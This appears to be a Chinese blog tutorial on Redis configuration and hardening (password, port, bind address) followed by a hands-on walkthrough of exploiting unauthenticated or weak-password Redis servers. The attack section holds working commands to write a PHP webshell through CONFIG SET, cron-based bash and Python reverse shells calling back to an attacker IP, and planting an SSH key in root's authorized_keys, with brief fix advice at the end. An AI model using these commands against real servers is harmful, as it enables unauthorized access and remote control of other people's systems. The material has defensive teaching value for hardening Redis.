Redis配置及攻击利用

Redis及其安全配置

Redis介绍

redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器;redis可以被外部用户每秒尝试150k次密码,这意味着需要高强度的密码;极度BT的可能会重命名redis中的config命令...

Redis常用命令

redis-cli -h 目标IP -p 指定端口 连接redis
FLUASHALL 清除数据库
auth password 使用password登录
save 更新rdb缓存
info 查看版本、服务器信息
set x "Zh1z3ven" 将x键值设为Zh1z3ven
get x 获取key为x的值
KEYS * 查看所有键
CONFIG GET dir 获取默认redis dir
CONFIG GET dbfilename 获取rdb文件名
CONFIG SET dir 重设dir路径
CONFIG SET dbfilename 重设rdb文件名

Redis配置文件&安全设置

主要分为设置访问密码,修改默认端口,绑定ip。

//设置访问密码
#
# requirepass foobared //设置默认port
# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6379 //设置绑定IP
# By default Redis listens for connections from all the network interfaces
# available on the server. It is possible to listen to just one or multiple
# interfaces using the "bind" configuration directive, followed by one or
# more IP addresses
#
# Examples:
#
# bind 192.168.1.100 10.0.0.1
# bind 127.0.0.1
0x01 开启密码访问设置
#
requirepass 123456

此时通过未授权的方式无法正常登录

使用密码登录的两种姿势

# 0x01
redis-cli -h 192.168.124.153 -p 6380
ip:port>auth password # 0x02
redis-cli -h 192.168.124.153 -p 6380 -a password
0x02 修改默认端口

默认绑定在6379 可以在配置文件redis.cong中修改

修改为6380,重启redis

# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6380

0x03 修改绑定IP

在这里通常会有一个认知误区,就是这个绑定IP不是绑定外来访问的地址(比如公网ip或同段内网ip)而是绑定自己服务器允许作为与外部进行连接的ip地址比如环回ip,内网ip,外网ip;绑定0.0.0.0的话就是绑定自己服务器全部的ip,那绑定自己外网ip和0.0.0.0是没什么区别的,在没有高强度密码保护的情况下很不安全。

绑定回环ip

回环ip可连接,同段ip已无法访问

设置绑定内网ip

ps:如果想要确保redis安全,还是需要高强度密码+合适的bind ip且最好不要暴露在外网

redis的攻击利用

写入webshell

前提条件

1.可连接redis(未授权或弱口令)并执行redis指令
2.开了web服务器,并且知道路径,还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

利用过程

注意写入webshell的时候在一句话两边加上/r/n的换行符,因为用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

192.168.124.153:6379> config set dir /var/www/html
OK
192.168.124.153:6379> config set dbfilename shell.php
OK
192.168.124.153:6379> set webshell "\r\n\r\n<?php phpinfo() ?>/r/n/r/n"
OK
192.168.124.153:6379>

观察靶机已成功写入

利用计划任务反弹shell

反弹shell还是要根据实际情况来,比如ubuntu和centos反弹的命令会有区别,一般是因为sh软链接指向的是dash还是bash,一般反弹shell是bash,而dash的shell只有运行脚本的能力没有交互能力所以反弹ubuntu的shell可能需要换脚本.

参考文章:https://blog.csdn.net/sdb5858874/article/details/81837440

攻击机监听端口

nc -lvvp 22222

redis写入反弹shell的计划任务

每分钟反弹一次shell

192.168.124.153:6379> set xxx "\r\n\r\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.124.141/22222 0>&1\n\r\n\r"
OK
192.168.124.153:6379> config set dir /var/spool/cron
OK
192.168.124.153:6379> config set dbfilename root
OK
192.168.124.153:6379> save
OK
192.168.124.153:6379>

python版本

*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

导入ssh私钥远程登录

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

利用过程

生成ssh私钥

root@kali:~/.ssh# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:4VEO6Gjtb4l0aSNyPFzhNzjXwLJ2g8x2/JoP27KVpuM root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .... |
| . o+o |
| + +oB.o |
| o o.%oO . |
| . + +SB + |
| . O = .. |
| + B o.o+ |
| . + =B |
| . .E=o |
+----[SHA256]-----+
root@kali:~/.ssh# ls
1.txt id_rsa id_rsa.bak id_rsa.pub known_hosts

将新生成的id_rsa保存在redis.txt文件中

root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redis.txt
root@kali:~/.ssh# ls
1.txt id_rsa id_rsa.bak id_rsa.pub known_hosts redis.txt

将保存的redis.txt写入redis

cat ~/.ssh/redis.txt | redis-cli -h 192.168.124.153 -p 6380 -a 123456 -x set crack

登录redis查看私钥是否写入,并将路径改为/root/.ssh

192.168.124.153:6380> flushall
OK
192.168.124.153:6380> config set dir /home/root/.ssh
OK
192.168.124.153:6380> config set dbfilename authorized_keys
OK
192.168.124.153:6380> cat redis.txt | redis-cli -h 192.168.124.153 -x set crack
(error) ERR unknown command 'cat'
192.168.124.153:6380> get crack
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB6GBUIZ5ftcFpS4Twkk9NTsp77/uZZDMRomxAF66aCux2QOL/0WAuZXZho62lxJVI0AL+MSkbcJznsyR/ZONTDzKHu6hXaq6IohWQ78dvOLcGmPUqUVptn0Ed5Bx4VGk2o6yKoSTWVzfgzRWgGsodA4e8lGNAz+cdM9I6ot+l4quiGD6AgrepSRmQBCbPEyVyVAZtYOqSieVXyFGtIr26C3uutemyzYtG9hVSjdcNNFGNRa3ZOn0W2zRirQh+PI4/lZGP2rT8Dilh1qv2ntlXZ0F8Dh/wAxTR1CquhUst9V89ilbOW/tPDg4oDTqL3H9uuyajhQw/nl8uqAmcKGDsoUUSBg+DUnXEFLgQqvsmwFC5LkV1hF4+JGiYgFPb2wd7x0+eRnCC7s7QaodFXqlYmcdqQK6rDTUMVVx3n9uZ2asemYYr6V1lpFW17QMwh1lBNwHGTl8xRiE4DQXp0Bpk2/jYF+5CP2k1Dwz0Fd+rNYH8/hACf1/8ZFjj1IJ+MRk= root@kali\n\n\n\n"
192.168.124.153:6380> save
OK

ssh

ssh -i id_rsa root@192.168.124.153

修复建议

1、设置bind ip

2、开启访问密码认证

3、修改默认端口

4、做好acl访问控制,redis服务不要暴露在外网

Redis配置及攻击利用的更多相关文章

  1. 转:中间人攻击利用框架bettercap测试

    0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...

  2. redis 配置应用(摘)

    Redis可以在没有配置文件的情况下通过内置的配置来启动,但是这种启动方式只适用于开发和测试. 合理的配置Redis的方式是提供一个Redis配置文件,这个文件通常叫做redis.conf. redi ...

  3. CentOS6.5下Tomcat7 Nginx Redis配置步骤

    所有配置均在一台机器上完成,部署拓扑信息如下: 注意:由于Redis配置对jar包和tomcat版本比较严格,请务必使用tomcat7和本文中提供的jar包.下载地址: http://pan.baid ...

  4. Redis配置参数详解

    Redis配置参数详解 /********************************* GENERAL *********************************/ // 是否作为守护进 ...

  5. Redis配置不当致使root被提权漏洞

    Redis配置不当致使root被提权漏洞 Dear all~ 最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵,请关注! 一.漏洞发布日期 2015 ...

  6. 中间人攻击利用框架bettercap测试

    0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...

  7. Linux下中间人攻击利用框架bettercap测试

    0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它 ...

  8. redis配置参数简介

    redis配置查看方式: 1.redis的安装目录查看redis.conf 2.登陆redis客户端,使用 config get xx命令. 比如:查看所有的配置: config get * [roo ...

  9. Redis配置讲解及实战

    前言 Redis是一个开源的内存k-v数据库,同时也可用作缓存,消息队列.支持多种数据类型,如字符串,列表,字典,集合,有序集合. 演示环境 $ uname -a Darwin Darwin Kern ...

随机推荐

  1. spring cloud服务器启动之后立刻通过zuul访问其中的实例报zuul连接超时的问题

    spring cloud服务启动之后,立刻进行调用 报错:com.netflix.zuul.exception.ZuulException: Forwarding error Caused by: c ...

  2. excle名字后面直接跟别的出来

    名字后面直接跟别的出来 =IF($E6="","",VLOOKUP(E6,通讯录!$B$2:$D$1000,3,0)) $E6:是填写位置的地方 VLOOKUP ...

  3. C++11标准特性的一些理解

    (1)auto 和 decltype 关键字 在C++11之前,auto关键字用来指定存储期(C++98中指的是自动生命周期).在新标准中,它的功能变为类型推断.C++11引入auto关键词与之前C语 ...

  4. python 常用命令sys.exit()

    Python的程序有两中退出方式:os._exit(), sys.exit() os._exit()会直接将python程序终止,之后的所有代码都不会继续执行. sys.exit()会引发一个异常:S ...

  5. 利用扫描仪形成PDF

    1.打开WPS,新建PDF,从扫描仪新建 2.合并PDF:按照顺序添加指定PDF,合并即可完成

  6. python 最大公约数 最小公倍数

    def gongyueshu(m,n): if m<n: m,n=n,m elif m==n: return m if m/n==int(m/n): return n else: for i i ...

  7. urllib库中的URL编码解码和GETPOST请求

    在urllib库的使用过程中,会在请求发送之前按照发送请求的方式进行编码处理,来使得传递的参数更加的安全,也更加符合模拟浏览器发送请求的形式.这就需要用urllib中的parse模块.parse的使用 ...

  8. CF1025B题解

    其他的几篇题解大多都是先求了 \(c_i \gets lcm(a_i,b_i)\) ,然后求全部 \(c_i\) 的最大公约数,但是对每一组数都求一下 \(lcm(a_i,b_i)\) 会增加时间复杂 ...

  9. 八大排序算法~简单选择排序【记录下标k变量的作用】

    八大排序算法~简单选择排序[记录下标k变量的作用] 1,思想:打擂台法,数组中的前n-1个元素依次上擂台"装嫩",后边的元素一个挨着一个不服,一个一个上去换掉它 2,优化:通过记录 ...

  10. tomcat与springmvc 结合 之---第20篇 springmvc 对于加载的bean对象存储在哪里